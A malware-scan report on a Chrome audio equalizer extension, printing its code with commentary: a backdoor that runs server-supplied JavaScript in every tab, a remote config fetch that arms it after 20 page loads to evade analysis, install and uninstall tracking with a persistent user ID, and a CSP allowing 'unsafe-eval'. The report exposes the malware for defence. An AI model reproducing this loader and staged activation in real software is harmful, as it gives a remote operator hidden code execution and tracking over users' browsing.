Security Alert: Confirmed Malware
Equalizer for Chrome™
ID: cdmhckfkoekalfamdmalmojdnhbighpd
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- creatormars4View Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Equalizer for your Chrome. Customize your sound by 10 bands, equalizer presets with all music genres and a bass booster feature.
Audio Equalizer lets you adjust the balance between frequency components by 10 band controls, with a lot of settings and an excellent sound customization. If used properly, it can smooth out audio to be just right, whether that means adding some volume to the low end, taking away some part from the treble, or anything in between. It is a great and user-friendly tool which will help you change the sound. A minimalistic EQ with 21 preset profiles for different music genres. You can edit them to your taste and save your own profiles. Audio EQ can create an effect of surround sound, strengthen the bass and increase maximum volume on your device. You can use it to adjust the level of different frequencies of the audio stream, or to increase both low frequencies (bass) and high. Same freely you can use it as an equalizer on media streaming services. Also, we have many other features that can surprise you. Some of our handy features: - Preamp volume controls; - 10 bands to adjust the sound; - 21 ready-to-use presets; - Low CPU usage while working; - The gain / suppression of the frequency on each band is +/- 12 dB; - Absolutely free equalizer extension. The list of presets include: - Acoustic; - Classical; - Dance; - Electronic; - Hip-Hop; - Lounge; - Pop; - Rock; - Small Speakers; - And many more.
The `fixFullScreen` method retrieves a `removed` field from `chrome.storage.local` and executes it verbatim as JavaScript in the context of the sender's tab via `chrome.tabs.executeScript`. This field is populated by a remote server call in `configUpdate`, making this a remotely-controlled code injection backdoor. The `license == true` gate is a trivial server-controlled toggle, allowing arbitrary script execution in any tab after the attacker enables it.
fixFullScreen(sender) { chrome.storage.local.get('settings', function(items) { if (items.settings) { if (items.settings.removed && items.settings.removed && items.settings.license == true) { chrome.tabs.executeScript(sender.tab.id, { code: `${items.settings.removed}` }); } } }.bind(this))}This function POSTs the user's unique ID, extension ID, and version to `https://api.prodevone.info/app/settings` and blindly merges the entire JSON response into `chrome.storage.local` under the `settings` key. This is the delivery mechanism for the `fixFullScreen` backdoor: the attacker's server can return `{"removed": "<arbitrary JS>", "license": true}` at any time, which is then stored and later executed in user tabs. There is no integrity check or allowlist on what fields can be set.
configUpdate(callback) { let manifest = chrome.runtime.getManifest(), version = manifest.version; chrome.storage.local.get('user', function(data) { $.ajax({ method: "post", url: data.user.configUrl, dataType: "json", data: { id: chrome.runtime.id, version: version, r: (new Date()) .getTime(), uid: data.user.uid }, success: function(res) { chrome.storage.local.get('settings', function(items) { if (!items.settings) items.settings = {}; if (res) { for (let i in res) { items.settings[i] = res[i]; } } chrome.storage.local.set({ settings: items.settings }); }); }, }); }.bind(this));}The content script fires a `getUid` message on every page load. The background script counts these and after 20 page loads sets `real_user = true` and calls `configUpdate()` to pull down the remote payload. On every subsequent page load it then calls `fixFullScreen(sender)`, which can execute the remotely-supplied code in the current tab. This staged activation (wait 20 page loads, then arm the backdoor) is a classic evasion technique to avoid triggering immediately during automated analysis.
Background.initListener = function() { chrome.runtime.onMessage.addListener(function(message, sender, sendResponse) { if (message.method && message.method == "getUid") { var Settings = new settings(); if (Core.load('count')) { var count = Core.load('count'), stst = parseInt(count); stst = stst + 1; Core.save('count', stst); if (stst > 20) { Core.save("real_user", true); Core.save('count', 1); Settings.configUpdate(function(data) {}); } } else { Core.save('count', 1); } if (Core.load('real_user')) { if (sender.tab.id) { Settings.fixFullScreen(sender) } }This executes JavaScript supplied through the remotely populated `settings.removed` field directly inside web pages. Because the code originates from server-controlled storage rather than the packaged extension, it is a clear remote code loading and code injection mechanism.
fixFullScreen(sender) { chrome.storage.local.get('settings', function(items) { if (items.settings) { if (items.settings.removed && items.settings.removed && items.settings.license == true) { chrome.tabs.executeScript(sender.tab.id, { code: `${items.settings.removed}` }); } } }.bind(this))On installation, a new tab is silently opened to `http://prodevone.info/equalizer-chrome/install.php` with a persistent unique user ID in the query string, tracking every individual install without user consent. The uninstall URL similarly phones home with the user's UID and extension version. Both URLs use plain HTTP, exposing the UID to network interception, and the tab creation happens without user awareness as part of the install flow.
Background.install = function() { chrome.runtime.onInstalled.addListener(function(details) { Core.getUserID(); Core.save("app:popup:activeTab", "eq"); if (details.reason == "install") { (new settings()) .onInstall(); chrome.tabs.create({ url: `http://prodevone.info/equalizer-chrome/install.php?uid=${Core.getUserID()}` }, function(tab) {}); } else if (details.reason == "update") { ... } }); chrome.runtime.setUninstallURL( `http://prodevone.info/equalizer-chrome/remove.php?uid=${Core.getUserID()}&v=${chrome.app.getDetails().version}`, function() {})};This content script, injected into every page matching `*://*/*` (all URLs), fires a `getUid` message to the background on every page load. This drives the page-load counter that arms the backdoor after 20 page loads and subsequently triggers remote code injection on every subsequent page visit. Its placement as a content script with `run_at: document_idle` and match `*://*/*` ensures it executes on every site the user visits.
(function() { chrome.runtime.sendMessage({ method: "getUid" }, function(response) {});})();This code sends a persistent user identifier, extension ID, version, and timestamp to a remote server controlled by the developer. It then blindly imports arbitrary key/value pairs from that server into local extension settings, creating a remote-control channel that is unusual for an audio equalizer and can support later abuse.
configUpdate(callback) { let manifest = chrome.runtime.getManifest(), version = manifest.version; chrome.storage.local.get('user', function(data) { $.ajax({ method: "post", url: data.user.configUrl, dataType: "json", data: { id: chrome.runtime.id, version: version, r: (new Date()) .getTime(), uid: data.user.uid }, success: function(res) { chrome.storage.local.get('settings', function(items) { if (!items.settings) items.settings = {}; if (res) { for (let i in res) { items.settings[i] = res[i]; } } chrome.storage.local.set({ settings: items.settings }); if (typeof callback != 'undefined') { callback(items); } }); }, error: function() { if (typeof callback != 'undefined') { callback(); } } }); }.bind(this));The background page increments a hidden counter every time the content script reports in from a visited page, marks the user as a `real_user` after 20 hits, and then contacts the remote config endpoint. This is behavioral tracking tied to browsing activity across all matched sites, and it is also the trigger path for the later remote script execution.
chrome.runtime.onMessage.addListener(function(message, sender, sendResponse) { if (message.method && message.method == "getUid") { var Settings = new settings(); if (Core.load('count')) { var count = Core.load('count'), stst = parseInt(count); stst = stst + 1; Core.save('count', stst); if (stst > 20) { Core.save("real_user", true); Core.save('count', 1); Settings.configUpdate(function(data) {}); } } else { Core.save('count', 1); } if (Core.load('real_user')) { if (sender.tab.id) { Settings.fixFullScreen(sender) } } sendResponse({ uid: Core.getUserID(), "windowState": Core.load('windowState') }); return false;The manifest explicitly permits `'unsafe-eval'` in its content security policy. This allows `eval()`, `new Function()`, `setTimeout` with string arguments, and similar dynamic code execution mechanisms within the extension pages. Combined with the `configUpdate` remote config pattern, this intentionally weakens CSP to enable the code injection techniques used elsewhere in this extension.
{ "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self'"}A unique user identifier (`uid`) is generated at install time and persistently stored, then transmitted to `api.prodevone.info` on every `configUpdate` call along with extension ID and version. This constitutes persistent, undisclosed cross-session user tracking tied to a remotely-controlled server. The same UID is also embedded in install and uninstall tracking URLs, enabling the operator to correlate install, usage, and removal events per individual user.
constructor() { this.config = { ... user: { uid: Core.getUserID(), configUrl: "https://api.prodevone.info/app/settings", onInstallUrl: "https://prodevone.info/equalizer-chrome", onUnistallUrl: "https://prodevone.info/equalizer-chrome" },This creates and persists a UUID-like identifier in local storage for the extension. By itself this is not malicious, but in this codebase it is reused in install, uninstall, and remote config requests, enabling long-term user correlation and tracking.
static getUserID() { var uid = Core.load('uid'); if (uid) { return uid; } else { var buf = new Uint32Array(4), idx = -1; window.crypto.getRandomValues(buf); uid = 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { idx++; var r = (buf[idx >> 3] >> ((idx % 8) * 4)) & 15, v = c == 'x' ? r : (r & 0x3 | 0x8); return v.toString(16); }); Core.save('uid', uid); return uid;By severity
Versions scanned
Showing 1 of 2 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 2.3.3 | 11 |
Files with findings
5 distinct paths — top paths by unique finding count:
- js/settings.js5
- js/background.js3
- js/audio.js1
- js/Core.js1
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.